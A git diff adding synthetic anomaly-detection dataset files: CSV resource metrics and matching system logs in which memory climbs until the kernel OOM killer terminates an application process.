a/anom_dataset/scenario_2/anom_2_17.log b/anom_dataset/scenario_2/anom_2_17.log new file mode 100644 index 0000000000000000000000000000000000000000..5b6aaac1b33b32cbefb1dd192092ad2654bfabcd --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_17.log @@ -0,0 +1,25 @@ +Jul 02 10:00:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-1 +Jul 02 10:00:10 systemd[1]: Started Session 2 of user app_runner. +Jul 02 10:00:25 sshd[1025]: Accepted publickey for user admin from 10.0.2.15 port 555 +Jul 02 10:00:50 cron[11410]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-13 +Jul 02 10:02:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-25 +Jul 02 10:02:15 systemd[1]: Started Session 27 of user app_runner. +Jul 02 10:02:30 sshd[10230]: Accepted publickey for user admin from 10.0.2.15 port 5530 +Jul 02 10:03:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-37 +Jul 02 10:03:20 cron[11440]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:20 app_server[3125]: INFO User 'jdoe' successfully authenticated. +Jul 02 10:04:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-49 +Jul 02 10:04:20 systemd[1]: Started Session 52 of user app_runner. +Jul 02 10:04:35 sshd[10255]: Accepted publickey for user admin from 10.0.2.15 port 5555 +Jul 02 10:05:00 app_server[3125]: WARN High number of open database connections: 95 +Jul 02 10:05:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-61 +Jul 02 10:05:50 cron[11470]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-73 +Jul 02 10:06:25 systemd[1]: Started Session 77 of user app_runner. +Jul 02 10:06:40 sshd[10280]: Accepted publickey for user admin from 10.0.2.15 port 5580 +Jul 02 10:07:03 kernel: [420.000000] oom-killer: Reached memory limit for pid 3125, name: app_server +Jul 02 10:07:03 kernel: [420.010000] Out of memory: Kill process 3125 (app_server) score 981 or sacrifice child +Jul 02 10:07:03 kernel: [420.020000] Killed process 3125 (app_server) total-vm:8305444kB, anon-rss:7954204kB, file-rss:0kB +Jul 02 10:07:04 systemd[1]: session-c5.scope: A process of this unit has been killed by the OOM killer. +Jul 02 10:07:05 kubelet[2345]: INFO routine sync completed for pod web-app-instance-85 diff --git a/anom_dataset/scenario_2/anom_2_18.csv b/anom_dataset/scenario_2/anom_2_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..24d2fbd09011569bd7198c7814f4ee4afe14fc45 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,16.95,25.0,11.11,1.31,1.18 +2025-07-03T11:00:05Z,14.09,25.0,14.85,0.77,1.53 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+2025-07-03T11:06:50Z,17.81,91.62,149.44,1.23,1.17 +2025-07-03T11:06:55Z,18.54,92.49,99.66,0.87,1.35 +2025-07-03T11:07:00Z,22.32,94.43,106.29,0.72,1.19 +2025-07-03T11:07:05Z,17.57,93.99,120.44,1.26,1.89 +2025-07-03T11:07:10Z,20.88,94.4,95.26,0.75,1.31 +2025-07-03T11:07:15Z,20.79,97.47,82.56,1.08,1.58 +2025-07-03T11:07:20Z,21.32,96.44,84.8,0.97,1.45 +2025-07-03T11:07:25Z,20.08,99.47,127.59,0.85,0.87 diff --git a/anom_dataset/scenario_2/anom_2_18.log b/anom_dataset/scenario_2/anom_2_18.log new file mode 100644 index 0000000000000000000000000000000000000000..f4db7da6283d7403823cedaed93ef9f896f853c6 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_18.log @@ -0,0 +1,22 @@ +Jul 03 11:00:01 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:00:27 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:00:50 CRON[13512]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 03 11:00:52 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:01:18 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:01:41 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:02:07 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:02:30 sshd[14582]: Accepted password for user admin from 10.0.2.15 port 22 ssh2 +Jul 03 11:02:32 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:02:58 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:03:22 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:03:47 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:04:13 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:04:36 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:05:00 nginx[3451]: GET /healthz HTTP/1.1 200 OK +Jul 03 11:05:02 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:05:28 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:05:52 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:06:17 kubelet[2891]: INFO routine sync completed for pod web-app-b7f9d4f9d-xrqg2 +Jul 03 11:06:30 kernel: [12345.678901] buggy-app invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 03 11:06:30 kernel: [12345.679123] Memory cgroup out of memory: Killed process 21549 (buggy-app) total-vm:1653452kB, anon-rss:812340kB, file-rss:0kB, shmem-rss:0kB +Jul 03 11:06:30 kernel: [12345.679500] oom_reaper: reaped process 21549 (buggy-app), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB diff --git a/anom_dataset/scenario_2/anom_2_19.csv b/anom_dataset/scenario_2/anom_2_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..8867c9ac3fd4b7c1f50fa513cc3efe2a4c9e8639 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,14.24,35.0,25.97,0.95,0.88 +2025-07-03T10:00:05Z,15.44,35.0,18.54,0.89,0.9 +2025-07-03T10:00:10Z,13.97,35.0,24.08,0.71,1.32 +2025-07-03T10:00:15Z,14.22,35.0,25.29,0.87,1.81 +2025-07-03T10:00:20Z,15.5,38.67,24.05,1.08,1.21 +2025-07-03T10:00:25Z,14.78,37.26,20.04,0.73,1.05 +2025-07-03T10:00:30Z,15.0,36.94,25.82,0.87,1.33 +2025-07-03T10:00:35Z,14.27,36.25,21.55,1.09,1.13 +2025-07-03T10:00:40Z,15.5,39.96,17.77,0.59,1.35 +2025-07-03T10:00:45Z,15.0,40.17,14.18,0.84,1.38 +2025-07-03T10:00:50Z,14.72,40.19,20.36,0.69,1.27 +2025-07-03T10:00:55Z,16.06,39.83,26.89,0.86,1.11 +2025-07-03T10:01:00Z,17.5,43.13,28.79,0.74,1.01 +2025-07-03T10:01:05Z,15.36,42.26,30.91,0.85,1.45 +2025-07-03T10:01:10Z,14.32,41.98,28.41,0.79,1.07 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b/anom_dataset/scenario_2/anom_2_19.log @@ -0,0 +1,10 @@ +Jul 03 10:00:10 sshd[10534]: Accepted publickey for user admin from 10.0.2.15 port 48922 ssh2 +Jul 03 10:00:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 10:01:40 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 03 10:02:55 CRON[11432]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 10:04:10 kubelet[2345]: INFO Liveness probe for pod 'web-app-7b5b5f9f9c-abcde' succeeded. +Jul 03 10:05:25 kernel: [12345.678901] TCP: request_sock_TCP: Dropping socket. Listen queue is full. +Jul 03 10:06:15 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 10:07:15 kernel: [12789.123456] Out of memory: Kill process 12345 (leaky-app) score 987 or sacrifice child +Jul 03 10:07:15 kernel: [12789.123506] Killed process 12345 (leaky-app) total-vm:8123456kB, anon-rss:7890123kB, file-rss:0kB, shmem-rss:0kB +Jul 03 10:07:20 systemd[1]: session-c5.scope: A process of this unit has been killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_2.csv b/anom_dataset/scenario_2/anom_2_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..6072c480be55e2495f6b12ad7c83755526e8cabd --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,20.25,30.23,24.97,0.86,0.59 +2025-07-02T11:00:05Z,24.81,29.89,28.25,0.93,1.12 +2025-07-02T11:00:10Z,22.46,32.62,25.01,1.08,1.29 +2025-07-02T11:00:15Z,18.11,31.39,20.34,1.24,0.88 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+2025-07-02T11:07:00Z,20.66,100.0,99.0,1.14,1.2 +2025-07-02T11:07:05Z,22.86,100.0,92.78,0.96,0.63 +2025-07-02T11:07:10Z,21.21,100.0,88.05,1.27,1.09 +2025-07-02T11:07:15Z,19.83,100.0,99.0,0.85,0.99 +2025-07-02T11:07:20Z,24.83,100.0,98.92,1.03,0.99 +2025-07-02T11:07:25Z,20.04,100.0,81.65,1.4,1.0 diff --git a/anom_dataset/scenario_2/anom_2_2.log b/anom_dataset/scenario_2/anom_2_2.log new file mode 100644 index 0000000000000000000000000000000000000000..73b1fbf2fbb1879d6834409f65b2acbb37e253d0 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_2.log @@ -0,0 +1,14 @@ +Jul 02 11:00:05 systemd[1]: Starting user-runtime-dir@1000.service... +Jul 02 11:00:15 sshd[11500]: pam_unix(sshd:session): session opened for user admin by (uid=0) +Jul 02 11:00:40 kubelet[2345]: INFO Pod sandbox changed, it will be killed and re-created +Jul 02 11:01:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:02:30 cron[12001]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 02 11:03:30 kubelet[2345]: INFO Syncing pod 'api-gateway-s3dfg' +Jul 02 11:04:40 systemd[1]: user-runtime-dir@1000.service: Succeeded. +Jul 02 11:05:40 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 02 11:06:20 sshd[11500]: pam_unix(sshd:session): session closed for user admin +Jul 02 11:06:35 kernel: [23456.123456] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 11:06:35 kernel: [23456.123654] CPU: 3 PID: 8765 Comm: java Not tainted 5.4.0-101-generic #114-Ubuntu +Jul 02 11:06:35 kernel: [23456.124567] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=/,mems_allowed=0,oom_memcg=/kubepods/pod123-abc-456,task_memcg=/kubepods/pod123-abc-456/container-name,task=java,pid=8765,uid=1000 +Jul 02 11:06:35 kernel: [23456.125890] Memory cgroup out of memory: Killed process 8765 (java) total-vm:2048000kB, anon-rss:1024000kB, file-rss:0kB, shmem-rss:0kB +Jul 02 11:06:36 systemd[1]: session-c3.scope: A process was killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_20.csv b/anom_dataset/scenario_2/anom_2_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..a9c354b44fa7c92eaacd42bc7fbadcb779524aa6 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,16.46,33.79,25.67,0.66,0.82 +2025-08-15T10:00:05Z,14.33,36.29,25.15,0.72,0.98 +2025-08-15T10:00:10Z,14.76,37.92,22.32,0.87,1.35 +2025-08-15T10:00:15Z,15.76,39.88,22.17,0.69,1.31 +2025-08-15T10:00:20Z,16.46,40.26,24.43,0.67,0.94 +2025-08-15T10:00:25Z,13.87,41.41,27.07,0.81,1.52 +2025-08-15T10:00:30Z,17.06,41.32,31.35,0.88,1.02 +2025-08-15T10:00:35Z,15.19,42.73,23.51,0.83,1.38 +2025-08-15T10:00:40Z,19.52,42.21,16.58,0.55,1.42 +2025-08-15T10:00:45Z,13.16,40.89,29.03,0.73,1.01 +2025-08-15T10:00:50Z,15.39,41.22,29.78,0.56,1.24 +2025-08-15T10:00:55Z,13.34,40.89,26.04,0.5,1.25 +2025-08-15T10:01:00Z,14.95,41.05,33.86,0.71,1.15 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+2025-08-15T10:06:05Z,19.62,88.86,17.8,0.61,1.07 +2025-08-15T10:06:10Z,18.67,90.13,17.94,0.67,0.82 +2025-08-15T10:06:15Z,19.49,92.62,26.94,1.21,1.64 +2025-08-15T10:06:20Z,19.46,91.35,30.04,0.75,1.05 +2025-08-15T10:06:25Z,19.54,92.33,27.95,0.75,1.78 +2025-08-15T10:06:30Z,17.63,92.9,21.52,1.01,1.3 +2025-08-15T10:06:35Z,20.17,92.73,22.77,0.93,0.69 +2025-08-15T10:06:40Z,22.44,91.56,31.58,0.77,1.48 +2025-08-15T10:06:45Z,20.12,91.05,17.04,0.68,1.43 +2025-08-15T10:06:50Z,18.26,90.97,67.81,0.57,0.96 +2025-08-15T10:06:55Z,18.82,90.99,86.3,0.79,1.15 +2025-08-15T10:07:00Z,21.67,91.69,135.89,0.79,1.43 +2025-08-15T10:07:05Z,18.12,91.96,163.33,0.59,1.07 +2025-08-15T10:07:10Z,20.62,92.88,192.4,1.03,1.61 +2025-08-15T10:07:15Z,20.56,95.01,192.69,1.04,0.63 +2025-08-15T10:07:20Z,20.98,96.01,225.05,0.64,1.35 +2025-08-15T10:07:25Z,20.06,98.49,277.94,0.93,1.06 diff --git a/anom_dataset/scenario_2/anom_2_20.log b/anom_dataset/scenario_2/anom_2_20.log new file mode 100644 index 0000000000000000000000000000000000000000..5875d4cf324129bc51b12bbb09aa23fd833f8ba2 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_20.log @@ -0,0 +1,35 @@ +Aug 15 10:00:09 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:00:19 server-1 systemd[1]: Started Session 10 of user ubuntu. +Aug 15 10:00:29 server-1 kubelet[3502]: INFO routine sync completed for pod web-app-beta +Aug 15 10:00:42 server-1 nginx[8871]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:00:53 server-1 cron[2470]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 15 10:01:14 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:01:35 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:01:47 server-1 systemd[1]: Started Session 17 of user ubuntu. +Aug 15 10:01:52 server-1 nginx[3693]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:02:17 server-1 cron[6933]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 15 10:02:40 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:02:54 server-1 sshd[9596]: Accepted publickey for ubuntu from 192.168.1.105 port 34739 ssh2 +Aug 15 10:03:14 server-1 kubelet[1300]: INFO routine sync completed for pod web-app-beta +Aug 15 10:03:22 server-1 cron[6299]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 15 10:03:36 server-1 sshd[2723]: Accepted publickey for ubuntu from 192.168.1.105 port 13194 ssh2 +Aug 15 10:03:55 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:04:19 server-1 systemd[1]: Started Session 18 of user ubuntu. +Aug 15 10:04:41 server-1 cron[9997]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 15 10:04:55 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:05:04 server-1 sshd[8392]: Accepted publickey for ubuntu from 192.168.1.105 port 16374 ssh2 +Aug 15 10:05:14 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:05:20 server-1 kubelet[6313]: INFO routine sync completed for pod web-app-beta +Aug 15 10:05:26 server-1 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 10:05:32 server-1 cron[6465]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 15 10:05:53 server-1 cron[7501]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 15 10:06:01 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:06:06 server-1 sshd[4370]: Accepted publickey for ubuntu from 192.168.1.105 port 49343 ssh2 +Aug 15 10:06:24 server-1 kubelet[8381]: INFO routine sync completed for pod web-app-alpha +Aug 15 10:06:35 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:06:41 server-1 systemd[1]: Started Session 18 of user ubuntu. +Aug 15 10:07:02 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:07:10 server-1 kernel: [ 1755252430.000000] Memory cgroup out of memory: Killed process 15270 (leaky-app) total-vm:1834584kB, anon-rss:1412456kB, file-rss:0kB, shmem-rss:0kB +Aug 15 10:07:10 server-1 kernel: [ 1755252430.000000] oom_reaper: reaped process 15270 (leaky-app), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB +Aug 15 10:07:11 server-1 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 10:07:16 server-1 kubelet[4559]: INFO routine sync completed for pod web-app-beta diff --git a/anom_dataset/scenario_2/anom_2_21.csv b/anom_dataset/scenario_2/anom_2_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..47295e25d4f4d36cf4b55afa5caa655ea34ef327 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,13.82,21.31,22.82,1.23,0.81 +2025-08-15T10:00:05Z,13.73,18.42,13.74,0.82,1.66 +2025-08-15T10:00:10Z,15.1,23.29,19.46,1.43,1.53 +2025-08-15T10:00:15Z,12.47,23.0,16.11,0.93,1.1 +2025-08-15T10:00:20Z,15.14,25.27,28.7,1.36,1.31 +2025-08-15T10:00:25Z,15.44,24.39,11.48,1.05,1.18 +2025-08-15T10:00:30Z,14.98,23.3,27.09,1.42,1.04 +2025-08-15T10:00:35Z,14.5,23.73,12.48,0.63,1.4 +2025-08-15T10:00:40Z,12.17,28.96,16.78,1.23,1.06 +2025-08-15T10:00:45Z,14.22,25.16,18.79,0.8,1.88 +2025-08-15T10:00:50Z,13.92,28.66,27.72,0.98,0.88 +2025-08-15T10:00:55Z,15.04,29.33,24.71,1.45,1.25 +2025-08-15T10:01:00Z,15.79,28.0,29.03,1.3,0.84 +2025-08-15T10:01:05Z,15.92,30.02,22.15,1.12,1.77 +2025-08-15T10:01:10Z,12.42,35.9,20.54,1.31,0.86 +2025-08-15T10:01:15Z,16.19,34.31,10.18,1.29,1.68 +2025-08-15T10:01:20Z,13.8,33.4,23.32,0.68,1.32 +2025-08-15T10:01:25Z,14.09,36.4,29.94,0.58,1.5 +2025-08-15T10:01:30Z,15.75,35.18,21.44,1.0,1.5 +2025-08-15T10:01:35Z,17.38,35.93,15.24,1.16,1.02 +2025-08-15T10:01:40Z,14.7,36.73,21.61,0.66,1.83 +2025-08-15T10:01:45Z,15.88,42.01,27.35,0.93,1.92 +2025-08-15T10:01:50Z,15.46,40.1,12.66,1.04,1.8 +2025-08-15T10:01:55Z,13.83,41.4,18.43,1.01,1.67 +2025-08-15T10:02:00Z,14.61,39.6,16.36,1.21,1.41 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+2025-08-15T10:03:45Z,19.9,60.59,21.73,0.83,0.99 +2025-08-15T10:03:50Z,12.91,60.53,12.04,0.53,1.34 +2025-08-15T10:03:55Z,21.03,62.01,14.99,1.01,1.93 +2025-08-15T10:04:00Z,11.13,62.28,14.03,0.82,1.04 +2025-08-15T10:04:05Z,14.22,67.49,16.31,0.75,1.63 +2025-08-15T10:04:10Z,12.07,65.98,29.05,0.91,1.4 +2025-08-15T10:04:15Z,16.82,66.83,25.46,1.28,1.95 +2025-08-15T10:04:20Z,15.35,65.96,11.88,1.4,1.77 +2025-08-15T10:04:25Z,15.05,66.26,10.75,1.38,1.09 +2025-08-15T10:04:30Z,19.8,68.46,16.48,0.94,1.0 +2025-08-15T10:04:35Z,18.76,72.18,20.33,1.05,1.41 +2025-08-15T10:04:40Z,15.4,68.22,23.65,0.8,1.78 +2025-08-15T10:04:45Z,21.12,68.47,21.66,0.79,1.39 +2025-08-15T10:04:50Z,10.15,73.68,13.23,0.91,1.85 +2025-08-15T10:04:55Z,16.55,72.32,18.27,0.58,0.82 +2025-08-15T10:05:00Z,20.34,73.49,25.39,1.38,1.41 +2025-08-15T10:05:05Z,15.55,72.38,24.56,0.9,1.44 +2025-08-15T10:05:10Z,15.48,76.69,21.9,1.16,0.94 +2025-08-15T10:05:15Z,18.18,76.46,25.08,0.95,1.3 +2025-08-15T10:05:20Z,11.14,77.98,14.28,0.78,0.97 +2025-08-15T10:05:25Z,10.7,77.17,23.44,1.13,1.45 +2025-08-15T10:05:30Z,13.31,78.41,13.92,1.2,1.84 +2025-08-15T10:05:35Z,17.43,81.51,28.16,1.35,0.87 +2025-08-15T10:05:40Z,10.07,81.05,24.5,1.36,1.47 +2025-08-15T10:05:45Z,15.75,82.58,12.93,1.25,1.94 +2025-08-15T10:05:50Z,16.03,81.94,27.3,1.37,1.79 +2025-08-15T10:05:55Z,13.94,83.17,21.22,0.98,0.91 +2025-08-15T10:06:00Z,17.02,89.45,13.81,0.59,1.34 +2025-08-15T10:06:05Z,11.65,84.45,22.06,0.95,1.77 +2025-08-15T10:06:10Z,8.88,87.07,16.16,0.92,1.97 +2025-08-15T10:06:15Z,17.39,88.81,24.7,0.55,1.37 +2025-08-15T10:06:20Z,8.0,86.73,23.87,0.85,0.86 +2025-08-15T10:06:25Z,15.76,88.39,14.01,0.82,1.12 +2025-08-15T10:06:30Z,16.03,91.44,22.88,0.83,1.24 +2025-08-15T10:06:35Z,13.13,90.04,25.16,0.73,1.95 +2025-08-15T10:06:40Z,12.57,89.6,12.93,1.47,1.86 +2025-08-15T10:06:45Z,13.85,94.04,18.21,1.06,1.5 +2025-08-15T10:06:50Z,14.78,92.02,172.25,0.96,1.04 +2025-08-15T10:06:55Z,15.52,91.59,193.68,1.14,1.21 +2025-08-15T10:07:00Z,16.17,96.8,192.28,1.12,0.89 +2025-08-15T10:07:05Z,14.28,92.4,230.88,1.42,0.95 +2025-08-15T10:07:10Z,15.68,94.06,181.11,1.11,1.12 +2025-08-15T10:07:15Z,22.1,99.45,200.98,0.56,2.0 +2025-08-15T10:07:20Z,21.97,98.28,240.92,1.31,0.83 +2025-08-15T10:07:25Z,15.6,96.89,237.06,1.23,1.58 diff --git a/anom_dataset/scenario_2/anom_2_21.log b/anom_dataset/scenario_2/anom_2_21.log new file mode 100644 index 0000000000000000000000000000000000000000..4cbd4c4be250bd707a032f33632fad97d193b35c --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_21.log @@ -0,0 +1,40 @@ +Aug 15 10:00:05 sshd[24527]: Accepted publickey for user admin from 10.0.1.5 port 48922 ssh2 +Aug 15 10:00:15 systemd[1]: Started Session 84 of user root. +Aug 15 10:00:25 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:00:30 systemd[1]: Finished log rotation. +Aug 15 10:00:50 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:01:15 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 15 10:01:20 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7d9f8c4c9-abcde +Aug 15 10:02:00 kernel: [ 1755252120.789123] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=12145 comm="sshd" +Aug 15 10:02:15 systemd[1]: Starting log rotation... +Aug 15 10:02:45 systemd[1]: Starting log rotation... +Aug 15 10:02:50 sshd[24818]: Accepted publickey for user admin from 10.0.1.5 port 48922 ssh2 +Aug 15 10:03:00 systemd[1]: Started Session 3 of user root. +Aug 15 10:03:05 kernel: [ 1755252185.789123] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=14196 comm="sshd" +Aug 15 10:03:25 sshd[17944]: Accepted publickey for user admin from 10.0.1.5 port 48922 ssh2 +Aug 15 10:03:40 systemd[1]: Starting log rotation... +Aug 15 10:04:00 kubelet[2345]: INFO Successfully probed container api-server +Aug 15 10:04:15 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:04:20 kernel: [ 1755252260.789123] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=16732 comm="sshd" +Aug 15 10:04:35 systemd[1]: Starting log rotation... +Aug 15 10:04:45 kubelet[2345]: INFO Successfully probed container api-server +Aug 15 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7d9f8c4c9-abcde +Aug 15 10:05:05 kernel: [ 1755252305.789123] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=18929 comm="sshd" +Aug 15 10:05:25 kubelet[2345]: INFO Successfully probed container api-server +Aug 15 10:05:40 systemd[1]: Started Session 46 of user root. +Aug 15 10:06:00 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7d9f8c4c9-abcde +Aug 15 10:06:15 kernel: [ 1755252375.789123] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=24197 comm="sshd" +Aug 15 10:06:25 systemd[1]: Finished log rotation. +Aug 15 10:06:35 systemd[1]: Starting log rotation... +Aug 15 10:06:45 systemd[1]: Started Session 35 of user root. +Aug 15 10:06:50 sshd[20675]: Accepted publickey for user admin from 10.0.1.5 port 48922 ssh2 +Aug 15 10:06:55 sshd[21207]: Accepted publickey for user admin from 10.0.1.5 port 48922 ssh2 +Aug 15 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7d9f8c4c9-abcde +Aug 15 10:07:15 kernel: [ 1755252435.112345] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Aug 15 10:07:15 kernel: [ 1755252435.112350] CPU: 1 PID: 18765 Comm: java Not tainted 5.4.0-109-generic #123-Ubuntu +Aug 15 10:07:15 kernel: [ 1755252435.112450] Out of memory: Kill process 18765 (java) score 988 or sacrifice child +Aug 15 10:07:15 kernel: [ 1755252435.112500] Killed process 18765 (java) total-vm:12345678kB, anon-rss:8765432kB, file-rss:0kB, shmem-rss:0kB +Aug 15 10:07:15 systemd[1]: session-c5.scope: A process of this unit has been killed by the OOM killer. +Aug 15 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7d9f8c4c9-abcde diff --git a/anom_dataset/scenario_2/anom_2_22.csv b/anom_dataset/scenario_2/anom_2_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..14f2b1e410851dda30f17011c08fb40897851544 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,15.91,35.26,10.0,0.93,1.22 +2025-07-03T14:00:05Z,13.51,36.41,49.51,0.68,1.8 +2025-07-03T14:00:10Z,15.69,36.74,25.32,0.85,1.24 +2025-07-03T14:00:15Z,17.97,37.3,18.84,0.75,0.89 +2025-07-03T14:00:20Z,15.97,37.88,10.0,1.0,0.86 +2025-07-03T14:00:25Z,16.23,39.99,35.14,0.91,2.05 +2025-07-03T14:00:30Z,10.03,39.5,25.81,0.71,0.96 +2025-07-03T14:00:35Z,11.25,39.72,29.51,0.78,1.31 +2025-07-03T14:00:40Z,14.24,39.74,10.0,1.01,1.0 +2025-07-03T14:00:45Z,10.14,41.04,32.0,1.11,1.64 +2025-07-03T14:00:50Z,12.82,40.18,10.0,0.58,0.72 +2025-07-03T14:00:55Z,9.45,40.37,16.56,0.81,0.74 +2025-07-03T14:01:00Z,18.29,40.46,26.08,0.6,1.05 +2025-07-03T14:01:05Z,15.73,41.77,37.57,0.18,1.59 +2025-07-03T14:01:10Z,11.79,42.4,23.97,0.81,0.83 +2025-07-03T14:01:15Z,13.28,44.22,23.51,1.07,1.4 +2025-07-03T14:01:20Z,17.81,43.86,34.47,0.43,1.26 +2025-07-03T14:01:25Z,14.01,45.39,44.2,0.84,1.23 +2025-07-03T14:01:30Z,11.98,45.83,47.07,1.07,1.27 +2025-07-03T14:01:35Z,14.94,46.55,24.86,0.72,1.37 +2025-07-03T14:01:40Z,12.79,46.7,10.0,0.46,1.23 +2025-07-03T14:01:45Z,11.55,47.3,10.0,0.9,1.23 